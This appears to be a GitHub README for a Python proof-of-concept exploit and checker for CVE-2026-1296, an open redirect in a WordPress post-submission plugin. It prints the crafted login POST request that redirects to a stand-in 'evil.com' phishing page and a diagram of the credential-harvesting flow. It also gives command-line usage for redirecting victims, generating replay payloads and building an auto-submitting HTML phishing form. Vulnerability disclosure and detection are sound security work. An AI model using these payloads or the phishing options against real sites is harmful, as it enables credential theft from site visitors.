
Python 3 PoC and detection tool for CVE-2026-1296, an unauthenticated open redirect in the WordPress Frontend Post Submission Manager Lite plugin (<= 1.2.7).
Proof-of-Concept (PoC) exploit and detection tool for CVE-2026-1296, an unauthenticated Open Redirect vulnerability in the WordPress plugin Frontend Post Submission Manager Lite (versions <= 1.2.7).
CVE-2026-1296 is a medium-severity Open Redirect vulnerability affecting the WordPress plugin Frontend Post Submission Manager Lite in versions up to and including 1.2.7.
The plugin fails to validate the requested_page POST parameter during the login flow. An unauthenticated attacker can craft a request that causes the application to redirect a victim to an arbitrary external URL — enabling phishing, malware distribution, and credential theft.
This repository contains a Python 3 PoC that:
| Field | Value |
|---|---|
| CVE ID | CVE-2026-1296 |
| Vulnerability Type | Open Redirect (Unauthenticated) |
| CWE | CWE-601: URL Redirection to Untrusted Site |
| CVSS v3.1 Score | 6.1 (Medium) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Attack Vector | Network |
| Privileges Required | None (unauthenticated) |
| User Interaction | Required |
| Impact | Confidentiality: Low · Integrity: Low · Availability: None |
| Affected Component | requested_page POST parameter in verify_username_password() |
| Vendor | Frontend Post Submission Manager Lite (WordPress plugin) |
AV:N — Exploitable over the networkAC:L — No special conditions requiredPR:N — No authentication neededUI:R — Victim must click a crafted linkS:C — Scope changed (impact crosses trust boundary)C:L/I:L/A:N — Limited confidentiality/integrity impact, no availability impact| Plugin | Versions Affected | Fixed In |
|---|---|---|
| Frontend Post Submission Manager Lite | <= 1.2.7 | Not publicly confirmed at time of writing |
⚠️ If you are running this plugin, upgrade immediately or deactivate until a patched version is available.
The plugin's verify_username_password() function accepts the requested_page POST parameter and uses it for redirection without validating whether the supplied URL belongs to the same host (or an allow-list). Because no host check, scheme check, or allow-list is enforced, an attacker can supply any external URL — including https://evil.com/phishing.
The vulnerable flow is triggered via:
POST /wp-login.php HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded
log=&pwd=&wp-submit=Log+In&action=login&requested_page=https://evil.com/phishing
The application responds with:
HTTP/1.1 302 Found
Location: https://evil.com/phishing
This is a client-side / social-engineering attack. No server compromise occurs. The attacker never gains WordPress admin access.
Attacker Victim Legitimate WP Site Attacker's Site
│ │ │ │
│ 1. Generates phishing link │ │ │
│───────────────────────────>│ │ │
│ │ 2. Clicks link │ │
│ │───────────────────────────>│ │
│ │ POST /wp-login.php │ │
│ │ requested_page=evil.com │ │
│ │ │ │
│ │ 3. 302 Redirect │ │
│ │<───────────────────────────│ │
│ │ │ │
│ │ 4. Browser follows redirect │
│ │────────────────────────────────────────────────────>│
│ │ │
│ │ 5. Victim enters creds on fake page │
│ │────────────────────────────────────────────────────>│
│ │ │
│ 6. Attacker harvests credentials │
│<───────────────────────────────────────────────────────────────────────────────── │
Key point: If the victim does not click the link, the attack fails entirely.
requests libraryInstall dependencies:
pip install requests
git clone https://github.com/sadaqaty/CVE-2026-1296.git
cd CVE-2026-1296
python3 CVE-2026-1296.py -t <TARGET_URL> [OPTIONS]
| Flag | Long Form | Description |
|---|---|---|
-t | --target | Required. Target WordPress base URL (e.g. http://target.com) |
--check | — | Run vulnerability check using https://oast.pro as test URL |
-r | --redirect | Test redirect to a specific malicious URL |
--generate | — | Generate a raw HTTP POST payload (for Burp / curl replay) |
--html | — | Generate an HTML phishing form (auto-submits on open) |
-o | --output | Write output to a file |
-k | --insecure | Disable SSL certificate verification |
Quickly check whether a target is vulnerable using an out-of-band interaction URL.
python3 CVE-2026-1296.py -t http://target.com --check
Expected output (vulnerable):
[✓] Open Redirect CONFIRMED
Redirects to: https://oast.pro
[!] http://target.com is VULNERABLE to CVE-2026-1296
Test redirect to a specific URL you control.
python3 CVE-2026-1296.py -t http://target.com -r https://evil.com/phishing
Generate a raw POST request for manual testing (Burp Suite, curl, etc.).
python3 CVE-2026-1296.py -t http://target.com --generate https://attacker.com/malware -o payload.txt